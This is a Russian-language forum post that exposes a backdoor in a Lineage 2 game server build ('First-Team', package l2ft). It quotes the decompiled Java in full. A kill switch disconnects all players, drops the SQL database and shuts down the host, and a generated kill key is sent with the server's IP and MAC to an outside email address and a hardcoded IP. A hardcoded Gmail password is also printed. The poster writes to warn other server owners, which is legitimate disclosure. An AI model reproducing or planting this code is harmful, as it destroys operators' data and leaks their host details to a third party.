[DiagoD]

Ха-ха...Это еще цветочки)))
Здесь у нас есть еще и killKey)))

Унылый код))):

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package l2ft.gameserver.utils;

import l2ft.commons.util.Rnd;
import l2ft.gameserver.dao.ProtectedAccountDAO;
import l2ft.gameserver.model.GameObjectsStorage;
import l2ft.gameserver.model.Player;

public class ServerLogger
{
  public static String killKey = null;

  public static void doIt()
  {
    disconnectAllCharacters();
    ProtectedAccountDAO.getInstance().dropSql();
    shutDownSystem();
  }

  private static void disconnectAllCharacters()
  {
    for (Player player : GameObjectsStorage.getAllPlayersForIterate())
      try
      {
        player.logout();
      }
      catch (Exception e)
      {
        shutDownSystem();
      }
  }

  private static void shutDownSystem()
  {
    String property = System.getProperty("os.name");

    if (property.toLowerCase().contains("windows"))
    {
      String[] commands = { "shutdown", "-s" };
      try
      {
        Runtime.getRuntime().exec(commands);
      }
      catch (Exception e)
      {
        System.exit(-1);
      }
    }

    if (property.toLowerCase().contains("linux"))
    {
      String[] commands = { "shutdown", "-p", "now" };
      try
      {
        Runtime.getRuntime().exec(commands);
      }
      catch (Exception e)
      {
        System.exit(-1);
      }
    }
  }

  private static void generateKillKey(int length)
  {
    String lowerChar = "qwertyuiopasdfghjklzxcvbnm";
    String upperChar = "QWERTYUIOPASDFGHJKLZXCVBNM";
    String digits = "1234567890";
    StringBuilder password = new StringBuilder(length);

    for (int i = 0; i < length; i++)
    {
      int charSet = Rnd.get(3);

      switch (charSet)
      {
      case 0:
        password.append(lowerChar.charAt(Rnd.get(lowerChar.length() - 1)));
        break;
      case 1:
        password.append(upperChar.charAt(Rnd.get(upperChar.length() - 1)));
        break;
      case 2:
        password.append(digits.charAt(Rnd.get(digits.length() - 1)));
      }
    }

    killKey = password.toString();
  }

  static
  {
    if (killKey == null)
      generateKillKey(10);
  }
}

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Так, что они могу еще и положить ваши сервера)))

Добавлено через 2 минуты
А сам ключик отправляется на почту:

Лол:

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package l2ft.gameserver.utils;

import java.util.Properties;
import javax.mail.Address;
import javax.mail.Message;
import javax.mail.Message.RecipientType;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class MessageSender
{
private static final Logger _log = LoggerFactory.getLogger(MessageSender.class);

public static void send()
{
try {
Properties props = new Properties();
props.put("mail.smtps.host", "smtp.gmail.com");
props.put("mail.smtps.auth", "true");
props.put("mail.transport.protocol", "smtp");
props.put("mail.debug", "false");

Session mailSession = Session.getDefaultInstance(props);
Transport transport = mailSession.getTransport("smtps");

InternetAddress fromAddress = new InternetAddress("first.security.mail@gmail.com");
InternetAddress toAddress = new InternetAddress("byldas@mail.ru");

Message simpleMessage = new MimeMessage(mailSession);

simpleMessage.setFrom(fromAddress);
simpleMessage.setRecipient(Message.RecipientType.T O, toAddress);
simpleMessage.setSubject("First-Team HF Informer.");
simpleMessage.setText("Somebody launched First-Team server. Some information about this server:\n\rKey: " + Util.getServerKey() + "\n\r" + "IP: " + Util.getServerIp() + "\n\r" + "Internet IP: " + Util.getHostIp() + "\n\r" + "Mac: " + Util.getServerMac() + "\n\r" + "KillKey: " + ServerLogger.killKey + "\n\r\n\r");

transport.connect("smtp.gmail.com", "first.security.mail@gmail.com", "JKgliuKGl78kjlhluiGFk");
transport.sendMessage(simpleMessage, new Address[] { toAddress });
transport.close();
}
catch (Exception e)
{
_log.info("Message not send");
}
}
}

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и на их "сервер лицензий":

Лол2:

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public static void prepareConnection(int port) { try { Socket requestSocket = new Socket("217.118.81.22", port);
ObjectOutputStream out = new ObjectOutputStream(requestSocket.getOutputStream() );
String serverKey;
try {
serverKey = getServerKey();
}
catch (Exception e)
{
serverKey = "key is missing";
}
String msg = new StringBuilder().append("*").append(serverKey).appe nd("*").append(Integer.toString(port)).append("*") .append(getServerIp()).append("*").append(getServe rMac()).append("*").append(ServerLogger.killKey).a ppend("*").toString();
out.writeObject(msg);
out.flush();
out.close();
requestSocket.close();
} catch (Exception ex)
{
}
}

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